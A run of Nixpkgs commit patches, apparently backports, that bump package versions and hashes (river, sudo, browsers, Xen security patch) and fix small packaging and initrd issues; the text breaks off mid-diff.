 pkgs/by-name/li/libxlsxwriter/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libxlsxwriter/package.nix b/pkgs/by-name/li/libxlsxwriter/package.nix
index ffcf5dc0ba79..5612de5ec025 100644
--- a/pkgs/by-name/li/libxlsxwriter/package.nix
+++ b/pkgs/by-name/li/libxlsxwriter/package.nix
@@ -9,13 +9,13 @@
 
 stdenv.mkDerivation rec {
   pname = "libxlsxwriter";
-  version = "1.2.2";
+  version = "1.2.3";
 
   src = fetchFromGitHub {
     owner = "jmcnamara";
     repo = "libxlsxwriter";
     tag = "v${version}";
-    hash = "sha256-Bi89TtihLtiXUh1PsJW1TiiT7ygQUM8yKeiYMi1PRCM=";
+    hash = "sha256-1FUJLsnx0ZNTT66sK7/gbZVo6Se85nbYvtEyoxeOHTI=";
   };
 
   buildInputs = [

From a5d33ee504d15e7bacb07374b87f079cd695be59 Mon Sep 17 00:00:00 2001
From: Moraxyc <i@qaq.li>
Date: Mon, 30 Jun 2025 00:25:14 +0800
Subject: [PATCH 1896/4511] marktext: fix typo

(cherry picked from commit 4e47396634a9321b2e14af7e12a5bc377848ddb9)
---
 pkgs/by-name/ma/marktext/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/ma/marktext/package.nix b/pkgs/by-name/ma/marktext/package.nix
index 6f4dcac1317c..fd433457c330 100644
--- a/pkgs/by-name/ma/marktext/package.nix
+++ b/pkgs/by-name/ma/marktext/package.nix
@@ -136,7 +136,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     mkdir -p $out/opt/marktext $out/bin
 
-    install -Dm644 resources/linux/marktext.desktop $out/share/application/marktext.desktop
+    install -Dm644 resources/linux/marktext.desktop $out/share/applications/marktext.desktop
 
     pushd resources/icons/
 

From 46f8845d3f33090c5db6d357ae605f4789b0dc67 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Wed, 18 Jun 2025 10:00:49 -0400
Subject: [PATCH 1897/4511] river: 0.3.9 -> 0.3.10

https://codeberg.org/river/river/releases/tag/v0.3.10
(cherry picked from commit 63c5a1bcab88cb9be269c49f5eaca007359eca45)
---
 pkgs/by-name/ri/river/build.zig.zon.nix | 111 +++---------------------
 pkgs/by-name/ri/river/package.nix       |  15 ++--
 pkgs/by-name/ri/river/update.sh         |  10 +--
 3 files changed, 23 insertions(+), 113 deletions(-)

diff --git a/pkgs/by-name/ri/river/build.zig.zon.nix b/pkgs/by-name/ri/river/build.zig.zon.nix
index 99979073f69d..b176fe484367 100644
--- a/pkgs/by-name/ri/river/build.zig.zon.nix
+++ b/pkgs/by-name/ri/river/build.zig.zon.nix
@@ -1,123 +1,38 @@
-# generated by zon2nix (https://github.com/Cloudef/zig2nix)
+# generated by zon2nix (https://github.com/nix-community/zon2nix)
 
 {
-  lib,
   linkFarm,
-  fetchurl,
+  fetchzip,
   fetchgit,
-  runCommandLocal,
-  zig,
-  name ? "zig-packages",
 }:
 
-with builtins;
-with lib;
-
-let
-  unpackZigArtifact =
-    { name, artifact }:
-    runCommandLocal name { nativeBuildInputs = [ zig ]; } ''
-      hash="$(zig fetch --global-cache-dir "$TMPDIR" ${artifact})"
-      mv "$TMPDIR/p/$hash" "$out"
-      chmod 755 "$out"
-    '';
-
-  fetchZig =
-    {
-      name,
-      url,
-      hash,
-    }:
-    let
-      artifact = fetchurl { inherit url hash; };
-    in
-    unpackZigArtifact { inherit name artifact; };
-
-  fetchGitZig =
-    {
-      name,
-      url,
-      hash,
-      rev ? throw "rev is required, remove and regenerate the zon2json-lock file",
-    }:
-    let
-      parts = splitString "#" url;
-      url_base = elemAt parts 0;
-      url_without_query = elemAt (splitString "?" url_base) 0;
-    in
-    fetchgit {
-      inherit name rev hash;
-      url = url_without_query;
-      deepClone = false;
-    };
-
-  fetchZigArtifact =
-    {
-      name,
-      url,
-      hash,
-      ...
-    }@args:
-    let
-      parts = splitString "://" url;
-      proto = elemAt parts 0;
-      path = elemAt parts 1;
-      fetcher = {
-        "git+http" = fetchGitZig (
-          args
-          // {
-            url = "http://${path}";
-          }
-        );
-        "git+https" = fetchGitZig (
-          args
-          // {
-            url = "https://${path}";
-          }
-        );
-        http = fetchZig {
-          inherit name hash;
-          url = "http://${path}";
-        };
-        https = fetchZig {
-          inherit name hash;
-          url = "https://${path}";
-        };
-      };
-    in
-    fetcher.${proto};
-in
-linkFarm name [
+linkFarm "zig-packages" [
   {
     name = "pixman-0.3.0-LClMnz2VAAAs7QSCGwLimV5VUYx0JFnX5xWU6HwtMuDX";
-    path = fetchZigArtifact {
-      name = "pixman";
+    path = fetchzip {
       url = "https://codeberg.org/ifreund/zig-pixman/archive/v0.3.0.tar.gz";
-      hash = "sha256-zX/jQV1NWGhalP3t0wjpmUo38BKCiUDPtgNGHefyxq0=";
+      hash = "sha256-8tA4auo5FEI4IPnomV6bkpQHUe302tQtorFQZ1l14NU=";
     };
   }
   {
     name = "wayland-0.3.0-lQa1kjPIAQDmhGYpY-zxiRzQJFHQ2VqhJkQLbKKdt5wl";
-    path = fetchZigArtifact {
-      name = "wayland";
+    path = fetchzip {
       url = "https://codeberg.org/ifreund/zig-wayland/archive/v0.3.0.tar.gz";
-      hash = "sha256-xU8IrETSFOKKQQMgwVyRKLwGaek4USaKXg49S9oHSTQ=";
+      hash = "sha256-ydEavD9z20wRwn9ZVX56ZI2T5i1tnm3LupVxfa30o84=";
     };
   }
   {
-    name = "wlroots-0.18.2-jmOlchnIAwBq45_cxU1V3OWErxxJjQZlc9PyJfR-l3uk";
-    path = fetchZigArtifact {
-      name = "wlroots";
-      url = "https://codeberg.org/ifreund/zig-wlroots/archive/v0.18.2.tar.gz";
-      hash = "sha256-4/MGFCCgMeN6+oCaj0Z5dsbVo3s88oYk1+q0mMXrj8I=";
+    name = "wlroots-0.19.1-jmOlcs7dAwCajnVWlQZIc-ySYjRlbLxy0F5FvTQqYA3P";
+    path = fetchzip {
+      url = "https://codeberg.org/ifreund/zig-wlroots/archive/v0.19.1.tar.gz";
+      hash = "sha256-37s4hXaYeKAyZySWZOMQP3BHz7EzxVNpj0dhJcPJoTM=";
     };
   }
   {
     name = "xkbcommon-0.3.0-VDqIe3K9AQB2fG5ZeRcMC9i7kfrp5m2rWgLrmdNn9azr";
-    path = fetchZigArtifact {
-      name = "xkbcommon";
+    path = fetchzip {
       url = "https://codeberg.org/ifreund/zig-xkbcommon/archive/v0.3.0.tar.gz";
-      hash = "sha256-HhhUI+ayPtlylhTmZ1GrdSLbRIffTg3MeisGN1qs2iM=";
+      hash = "sha256-e5bPEfxl4SQf0cqccLt/py1KOW1+Q1+kWZUEXBbh9oQ=";
     };
   }
 ]
diff --git a/pkgs/by-name/ri/river/package.nix b/pkgs/by-name/ri/river/package.nix
index 22272a9cc550..d8647a01107c 100644
--- a/pkgs/by-name/ri/river/package.nix
+++ b/pkgs/by-name/ri/river/package.nix
@@ -15,7 +15,7 @@
   wayland,
   wayland-protocols,
   wayland-scanner,
-  wlroots_0_18,
+  wlroots_0_19,
   xwayland,
   zig_0_14,
   withManpages ? true,
@@ -24,7 +24,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "river";
-  version = "0.3.9";
+  version = "0.3.10";
 
   outputs = [ "out" ] ++ lib.optionals withManpages [ "man" ];
 
@@ -32,14 +32,11 @@ stdenv.mkDerivation (finalAttrs: {
     domain = "codeberg.org";
     owner = "river";
     repo = "river";
-    rev = "refs/tags/v${finalAttrs.version}";
-    fetchSubmodules = true;
-    hash = "sha256-g6qjSkvcA2Ud4W+/NVzYZjiWoWkAuKvuD20KlO/zGhE=";
+    hash = "sha256-mTS62HT/v/5af/PTsNcDIrl7GUczP55+VCumQIii6y4=";
+    tag = "v${finalAttrs.version}";
   };
 
-  deps = callPackage ./build.zig.zon.nix {
-    zig = zig_0_14;
-  };
+  deps = callPackage ./build.zig.zon.nix { };
 
   nativeBuildInputs = [
     pkg-config
@@ -57,7 +54,7 @@ stdenv.mkDerivation (finalAttrs: {
     udev
     wayland
     wayland-protocols
-    wlroots_0_18
+    wlroots_0_19
   ] ++ lib.optional xwaylandSupport libX11;
 
   dontConfigure = true;
diff --git a/pkgs/by-name/ri/river/update.sh b/pkgs/by-name/ri/river/update.sh
index 1cca378b3daf..41bbe048223c 100755
--- a/pkgs/by-name/ri/river/update.sh
+++ b/pkgs/by-name/ri/river/update.sh
@@ -1,14 +1,12 @@
 #!/usr/bin/env nix-shell
-#!nix-shell -i bash -p bash common-updater-scripts gnused nixfmt-rfc-style
+#!nix-shell -i bash -p bash common-updater-scripts gnused nixfmt-rfc-style zon2nix
 
-latest_tag=$(list-git-tags --url=https://codeberg.org/river/river | sed 's/^v//' | tail -n 1)
+latest_tag=$(list-git-tags --url=https://codeberg.org/river/river | sed 's/^v//' | sort --version-sort | tail --lines=1)
 
 update-source-version river "$latest_tag"
 
 wget "https://codeberg.org/river/river/raw/tag/v${latest_tag}/build.zig.zon"
-nix --extra-experimental-features 'nix-command flakes' run github:Cloudef/zig2nix#zon2nix -- build.zig.zon >pkgs/by-name/ri/river/build.zig.zon.nix
-# strip file protocol
-sed -i '\|file = unpackZigArtifact { inherit name; artifact = /. + path; };|d' pkgs/by-name/ri/river/build.zig.zon.nix
+zon2nix build.zig.zon >pkgs/by-name/ri/river/build.zig.zon.nix
 nixfmt pkgs/by-name/ri/river/build.zig.zon.nix
 
-rm -f build.zig.zon build.zig.zon2json-lock
+rm -f build.zig.zon build.zig.zon.nix

From 64eceb495c3b846d8fc22f13d4422c53efac18fd Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 1 Jul 2025 12:37:48 +0000
Subject: [PATCH 1898/4511] river: 0.3.10 -> 0.3.11

https://codeberg.org/river/river/releases/tag/v0.3.11
(cherry picked from commit c67bc3f79221871fdff20d9a76bbd8f28d3fe0a1)
---
 pkgs/by-name/ri/river/build.zig.zon.nix | 6 +++---
 pkgs/by-name/ri/river/package.nix       | 4 ++--
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ri/river/build.zig.zon.nix b/pkgs/by-name/ri/river/build.zig.zon.nix
index b176fe484367..ce38b2c91f01 100644
--- a/pkgs/by-name/ri/river/build.zig.zon.nix
+++ b/pkgs/by-name/ri/river/build.zig.zon.nix
@@ -22,10 +22,10 @@ linkFarm "zig-packages" [
     };
   }
   {
-    name = "wlroots-0.19.1-jmOlcs7dAwCajnVWlQZIc-ySYjRlbLxy0F5FvTQqYA3P";
+    name = "wlroots-0.19.2-jmOlcsnnAwDFAeOamkUaxyHNhKngH4Ai5rrLSVbqA8LW";
     path = fetchzip {
-      url = "https://codeberg.org/ifreund/zig-wlroots/archive/v0.19.1.tar.gz";
-      hash = "sha256-37s4hXaYeKAyZySWZOMQP3BHz7EzxVNpj0dhJcPJoTM=";
+      url = "https://codeberg.org/ifreund/zig-wlroots/archive/v0.19.2.tar.gz";
+      hash = "sha256-BMNvnRJdM8qhqtm2Do7l5LdD1INDXD3t0ykPHYwyI6U=";
     };
   }
   {
diff --git a/pkgs/by-name/ri/river/package.nix b/pkgs/by-name/ri/river/package.nix
index d8647a01107c..8bfaa550c05d 100644
--- a/pkgs/by-name/ri/river/package.nix
+++ b/pkgs/by-name/ri/river/package.nix
@@ -24,7 +24,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "river";
-  version = "0.3.10";
+  version = "0.3.11";
 
   outputs = [ "out" ] ++ lib.optionals withManpages [ "man" ];
 
@@ -32,7 +32,7 @@ stdenv.mkDerivation (finalAttrs: {
     domain = "codeberg.org";
     owner = "river";
     repo = "river";
-    hash = "sha256-mTS62HT/v/5af/PTsNcDIrl7GUczP55+VCumQIii6y4=";
+    hash = "sha256-7LC5nxan9jmjjt29afkps9H/sfhfIqpvBxvCKb0zvNM=";
     tag = "v${finalAttrs.version}";
   };
 

From 8be22ea5b7dc1946b9409fbc43cf84f7386a8409 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sandro=20J=C3=A4ckel?= <sandro.jaeckel@gmail.com>
Date: Tue, 1 Jul 2025 14:38:59 +0200
Subject: [PATCH 1899/4511] yt-dlp: 2025.6.25 -> 2025.6.30

Changelog: https://github.com/yt-dlp/yt-dlp/blob/HEAD/Changelog.md
(cherry picked from commit 3a903161e9b28cd74ee68699d94f8d6f5c095da5)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index aa54eead14af..4ed1feb8a6f0 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -17,13 +17,13 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.6.25";
+  version = "2025.6.30";
   pyproject = true;
 
   src = fetchPypi {
     inherit version;
     pname = "yt_dlp";
-    hash = "sha256-JCtkjhoYqwS91MwXWjF/6Ow619AXXu6fmBkSYks9bIs=";
+    hash = "sha256-bQroVcClW/zCjf+6gE7IUlublV00pBGRoVYaTOwD2L0=";
   };
 
   build-system = with python3Packages; [

From 5004af43016e5e619512aacf2d2bfea8b613dc97 Mon Sep 17 00:00:00 2001
From: Alexander Sieg <alex@xanderio.de>
Date: Tue, 24 Jun 2025 11:56:54 +0200
Subject: [PATCH 1900/4511] dependency-track: use protogen_30 to fix build

(cherry picked from commit b9e49739d2d17736dc11492ce4b0d3ba7c439d84)
---
 pkgs/by-name/de/dependency-track/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/de/dependency-track/package.nix b/pkgs/by-name/de/dependency-track/package.nix
index 6c342f3ac380..c0e58a8968aa 100644
--- a/pkgs/by-name/de/dependency-track/package.nix
+++ b/pkgs/by-name/de/dependency-track/package.nix
@@ -4,7 +4,7 @@
   fetchFromGitHub,
   nodejs_20,
   jre_headless,
-  protobuf,
+  protobuf_30,
   cyclonedx-cli,
   makeWrapper,
   maven,
@@ -61,7 +61,7 @@ maven.buildMavenPackage rec {
   postPatch = ''
     substituteInPlace pom.xml \
       --replace-fail '<protocArtifact>''${tool.protoc.version}</protocArtifact>' \
-      "<protocCommand>${protobuf}/bin/protoc</protocCommand>"
+      "<protocCommand>${protobuf_30}/bin/protoc</protocCommand>"
   '';
 
   mvnJdk = jre_headless;

From 42cf4c05e10eb161645403107ae564736b026db4 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Mon, 30 Jun 2025 20:40:29 +0200
Subject: [PATCH 1901/4511] sudo: 1.9.17 -> 1.9.17p1

Fixes CVE-2025-32462 and CVE-2025-32463.

Changes:
https://www.sudo.ws/releases/stable/#1.9.17p1
(cherry picked from commit 12319d98674cf9426d0eababe66e75ce4102ebed)
---
 pkgs/by-name/su/sudo/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/su/sudo/package.nix b/pkgs/by-name/su/sudo/package.nix
index 34b1a8e98e16..d7394649a5f0 100644
--- a/pkgs/by-name/su/sudo/package.nix
+++ b/pkgs/by-name/su/sudo/package.nix
@@ -17,13 +17,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "sudo";
   # be sure to check if nixos/modules/security/sudo.nix needs updating when bumping
   # e.g. links to man pages, value constraints etc.
-  version = "1.9.17";
+  version = "1.9.17p1";
 
   __structuredAttrs = true;
 
   src = fetchurl {
     url = "https://www.sudo.ws/dist/sudo-${finalAttrs.version}.tar.gz";
-    hash = "sha256-PyEsadU01YIrSS0JmrsCpZP5HKmfWv3ly5vT4dza0Gk=";
+    hash = "sha256-/2B+pxcHIZdzinj3eGks1t+afj5ARWX1HeBjyidFXTI=";
   };
 
   prePatch = ''

From 7ed04be5a8c412c1359ab865cb6c3d673d07d1f8 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 30 Jun 2025 20:18:31 +0000
Subject: [PATCH 1902/4511] firefox-devedition-unwrapped: 141.0b2 -> 141.0b4

(cherry picked from commit 78b3dd59f42686aceef4ee40dea92fadab65da48)
---
 .../browsers/firefox/packages/firefox-devedition.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
index 294c7063419f..25d5b3548680 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-devedition.nix
@@ -10,13 +10,13 @@
 buildMozillaMach rec {
   pname = "firefox-devedition";
   binaryName = pname;
-  version = "141.0b2";
+  version = "141.0b4";
   applicationName = "Firefox Developer Edition";
   requireSigning = false;
   branding = "browser/branding/aurora";
   src = fetchurl {
     url = "mirror://mozilla/devedition/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "90b20ecbc5a83f4dbf07a136f4d098800fd601aa486a3b48d19b63316f0c3a49704370f42975549b4fb26723796c8287ccb5b251d9e2c9ca6b5b1fa9db021109";
+    sha512 = "c96fb731ff935176f9dfd8b31693dc49c2eac63e6d5b935fe3ebf1f9d39023bfeb9c9cfa07f4f759dfbd45cf911684b90a810879e412028d35c3ab6ec419b2ba";
   };
 
   # buildMozillaMach sets MOZ_APP_REMOTINGNAME during configuration, but

From bcca6bd756c211537234223b00c05aac7bd226c7 Mon Sep 17 00:00:00 2001
From: jopejoe1 <jopejoe1@missing.ninja>
Date: Mon, 30 Jun 2025 20:18:53 +0000
Subject: [PATCH 1903/4511] firefox-beta-unwrapped: 141.0b2 -> 141.0b4

(cherry picked from commit 23470836ddd46de9f2a87175ddd4ce8e68277f34)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index cd821d6f21ef..5646485d61e0 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "141.0b2";
+  version = "141.0b4";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "edbdc261c1c2cb3bcbe85cec81ec064da10955766dabb1580a38b5d07c5cf11904614ca61b5b09a176e9c618387d70eb41fbfd6deb178753b38c296f41a42431";
+    sha512 = "89a5e3fdc7fa3ec7ba91930baea05f231354c2b2f44d6b3cb82e15575a5a05812ef6eda29605ce652a72145733d2bd7cd84e22942e566e0434b0fed116922e0b";
   };
 
   meta = {

From 35b1c349e3a12762c1c1b95db425b24bcc61f20e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Bogdan-Cristian=20T=C4=83t=C4=83roiu?=
 <b.tataroiu@gmail.com>
Date: Sat, 28 Jun 2025 12:56:46 +0100
Subject: [PATCH 1904/4511] nixos/systemd-initrd: Fix fsck.xfs failing due to
 missing sh

When running with a xfs root partition and using systemd for stage 1
initrd, I noticed in journalctl that fsck.xfs always failed to execute.

The issue is that it is trying to use the below sh interpreter:

`#!/nix/store/xy4jjgw87sbgwylm5kn047d9gkbhsr9x-bash-5.2p37/bin/sh -f`

but the file does not exist in the initrd image.

/nix/store/xy4jjgw87sbgwylm5kn047d9gkbhsr9x-bash-5.2p37/bin/**bash**
exists since it gets pulled in by some package, but the rest of the
directory is not being pulled in.

boot/systemd/initrd.nix mentions that xfs_progs references the sh
interpreter and seems to explicitly try to address this by adding
${pkgs.bash}/bin to storePaths, but that's the wrong bash package.

Update the `storePaths` value to pull in `pkgs.bashNonInteractive`
rather than `pkgs.bash`.

(cherry picked from commit 3332613adda6c22f06d17002db812ba47f239772)
---
 nixos/modules/system/boot/systemd/initrd.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/systemd/initrd.nix b/nixos/modules/system/boot/systemd/initrd.nix
index 8057ecba1241..c57425179aec 100644
--- a/nixos/modules/system/boot/systemd/initrd.nix
+++ b/nixos/modules/system/boot/systemd/initrd.nix
@@ -538,7 +538,7 @@ in
           # required for services generated with writeShellScript and friends
           pkgs.runtimeShell
           # some tools like xfs still want the sh symlink
-          "${pkgs.bash}/bin"
+          "${pkgs.bashNonInteractive}/bin"
 
           # so NSS can look up usernames
           "${pkgs.glibc}/lib/libnss_files.so.2"

From 83574a72f0648d552ba3d5b77dd73c4835460922 Mon Sep 17 00:00:00 2001
From: Fernando Rodrigues <alpha@sigmasquadron.net>
Date: Mon, 30 Jun 2025 20:06:44 -0300
Subject: [PATCH 1905/4511] xen: patch with XSA-470

https://xenbits.xenproject.org/xsa/advisory-470.html

Certain instructions need intercepting and emulating by Xen.  In some
cases Xen emulates the instruction by replaying it, using an executable
stub.  Some instructions may raise an exception, which is supposed to be
handled gracefully.  Certain replayed instructions have additional logic
to set up and recover the changes to the arithmetic flags.

For replayed instructions where the flags recovery logic is used, the
metadata for exception handling was incorrect, preventing Xen from
handling the the exception gracefully, treating it as fatal instead.

An unprivileged guest can cause a hypervisor crash, causing a Denial of
Service (DoS) of the entire host.

Signed-off-by: Fernando Rodrigues <alpha@sigmasquadron.net>
(cherry picked from commit 675540f6bab0a7b422e13d21e67d3d285d0a9b05)
---
 pkgs/by-name/xe/xen/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/xe/xen/package.nix b/pkgs/by-name/xe/xen/package.nix
index 29d4c68176b2..e50824bfc325 100644
--- a/pkgs/by-name/xe/xen/package.nix
+++ b/pkgs/by-name/xe/xen/package.nix
@@ -36,6 +36,10 @@ buildXenPackage.override { inherit python3Packages; } {
       url = "https://xenbits.xenproject.org/xsa/xsa469/xsa469-4.19-07.patch";
       hash = "sha256-9S85nkQ9Nn0cMzyRe4KGrFUaLggVxXBeKhoFF4R0y78=";
     })
+    (fetchpatch {
+      url = "https://xenbits.xenproject.org/xsa/xsa470.patch";
+      hash = "sha256-zhMZ6pCZtt0ocgsMFVqthMaof46lMMTaYmlepMXVJqM=";
+    })
   ];
   rev = "f3362182e028119e5ca2ab37e5628b9fa6d21254";
   hash = "sha256-c6LXYJ61umJb/r5/utwBWLAfy+tIvpK7QLjI3zKfr6Y=";

From 0812faefa3c4bdcb5bbc6cde37ff2762ffbac030 Mon Sep 17 00:00:00 2001
From: networkException <git@nwex.de>
Date: Tue, 1 Jul 2025 18:02:40 +0200
Subject: [PATCH 1906/4511] ungoogled-chromium: 138.0.7204.49-1 ->
 138.0.7204.96-1

https://chromereleases.googleblog.com/2025/06/stable-channel-update-for-desktop_30.html

This update includes 1 security fix. Google is aware that an exploit for
CVE-2025-6554 exists in the wild.

CVEs:
CVE-2025-6554

(cherry picked from commit 6d211b6f7719fab38e9e282ee90b867b441f7061)
---
 .../networking/browsers/chromium/info.json         | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 482dd0da54e9..7f6ee37d61a7 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -802,7 +802,7 @@
     }
   },
   "ungoogled-chromium": {
-    "version": "138.0.7204.49",
+    "version": "138.0.7204.96",
     "deps": {
       "depot_tools": {
         "rev": "a8900cc0f023d6a662eb66b317e8ddceeb113490",
@@ -813,16 +813,16 @@
         "hash": "sha256-UB9a7Fr1W0yYld6WbXyRR8dFqWsj/zx4KumDZ5JQKSM="
       },
       "ungoogled-patches": {
-        "rev": "138.0.7204.49-1",
-        "hash": "sha256-lfaYQjeyM0fAcqayyiL3wcnp1vifYa5RRBOI3mRGUxQ="
+        "rev": "138.0.7204.96-1",
+        "hash": "sha256-tOQSvdwK3lMN/7l23rbw7txJ/ovRguSXe9oMeol63Cs="
       },
       "npmHash": "sha256-8d5VTHutv51libabhxv7SqPRcHfhVmGDSOvTSv013rE="
     },
     "DEPS": {
       "src": {
         "url": "https://chromium.googlesource.com/chromium/src.git",
-        "rev": "d2b48fd5f7813ed477a2d68fa232b8178fa4fb1e",
-        "hash": "sha256-n2jSVXpV0mqdTdLpE+N3yJhutJTOE1fez0BleU0+VSU=",
+        "rev": "f01343ee86bdb55cc999f82381f038cdbf20db62",
+        "hash": "sha256-9Ryxv2DvnIKVk4ZvjXegubFDUNzJ3YXGPuYHlntC3RU=",
         "recompress": true
       },
       "src/third_party/clang-format/script": {
@@ -1597,8 +1597,8 @@
       },
       "src/v8": {
         "url": "https://chromium.googlesource.com/v8/v8.git",
-        "rev": "0ea9b0813581826a94b45324e746f9ab57f0f843",
-        "hash": "sha256-jGx1jafKyh9BrrJwWKU78sKlwkX9KYHzhggx6TzRel4="
+        "rev": "e5b4c78b54e8b033b2701db3df0bf67d3030e4c1",
+        "hash": "sha256-5y/yNZopnwtDrG+BBU6fMEi0yJJoYvsygQR+fl6vS/Y="
       }
     }
   }

From be3e8e455b083fc35a9ff0c3b304a7aa498a3e7a Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Tue, 1 Jul 2025 10:44:04 +0100
Subject: [PATCH 1907/4511] google-chrome: 138.0.7204.49 -> 138.0.7204.92

(cherry picked from commit 45f6ae858eb3b2effc1e9399f2ea0d5a44c35352)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 7e476bdd87a4..6b997ece78f5 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.49";
+    version = "138.0.7204.92";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-FHYjo8rPmruJWEpHnkJHs5Ht0NP2GwGSKNYbDCtQmSY=";
+      hash = "sha256-9HaUIvJEw6PqinEnpam/Dh5+6XPJ2ou+j8Jfhc7nd/E=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.50";
+    version = "138.0.7204.93";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/a4ahzfkgyxfqoxgobvw6tfhnre_138.0.7204.50/GoogleChrome-138.0.7204.50.dmg";
-      hash = "sha256-/VsCUAowk59whR7GYBqzNjp3+aMih68L/6zbfytesOk=";
+      url = "http://dl.google.com/release2/chrome/k3cs4pgesvh4zq3jml7x52esia_138.0.7204.93/GoogleChrome-138.0.7204.93.dmg";
+      hash = "sha256-IEcwjrtNMMSjwNCrINjXRbnSI0Uf2JKtA+KwvQc5Fhc=";
     };
 
     dontPatch = true;

From 7642bf2aec88d131cd685485b7fdb43a65edbdda Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 1 Jul 2025 13:30:11 +0000
Subject: [PATCH 1908/4511] wivrn: 25.6 -> 25.6.1

(cherry picked from commit 41054323048560df98d66f2f971ef555942e701e)
---
 pkgs/by-name/wi/wivrn/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wi/wivrn/package.nix b/pkgs/by-name/wi/wivrn/package.nix
index e8fc691d1daa..2286eb53a831 100644
--- a/pkgs/by-name/wi/wivrn/package.nix
+++ b/pkgs/by-name/wi/wivrn/package.nix
@@ -51,13 +51,13 @@
 }:
 stdenv.mkDerivation (finalAttrs: {
   pname = "wivrn";
-  version = "25.6";
+  version = "25.6.1";
 
   src = fetchFromGitHub {
     owner = "wivrn";
     repo = "wivrn";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-opl1zPQrdOMgDY0rYZccNNRpgba6FQZMHxvgKNS7svM=";
+    hash = "sha256-DqgayLXI+RPIb8tLzJoHi+Z12px4pdzU50C0UBSa2u4=";
   };
 
   monado = applyPatches {

From 96f0f8b6326ba48063f33a5cf276590fef5b7de7 Mon Sep 17 00:00:00 2001
From: Peter Marshall <petms@proton.me>
Date: Fri, 9 May 2025 14:28:49 -0400
Subject: [PATCH 1909/4511] nixos/systemd-stage-1: follow systemd /run
 propagation

We currently bypass systemd's switch-root logic by premounting
/sysroot/run. Make sure to propagate its sub-mounts with the recursive
flag, in accordance with the default switch-root logic.

This is required for creds at /run/credentials to survive the transition
from initrd -> host.

(cherry picked from commit 7d36daa76ab7e3ab3262ec0c34f712b3c343efed)
---
 nixos/modules/system/boot/systemd/initrd.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/system/boot/systemd/initrd.nix b/nixos/modules/system/boot/systemd/initrd.nix
index c57425179aec..04b8004bb0c5 100644
--- a/nixos/modules/system/boot/systemd/initrd.nix
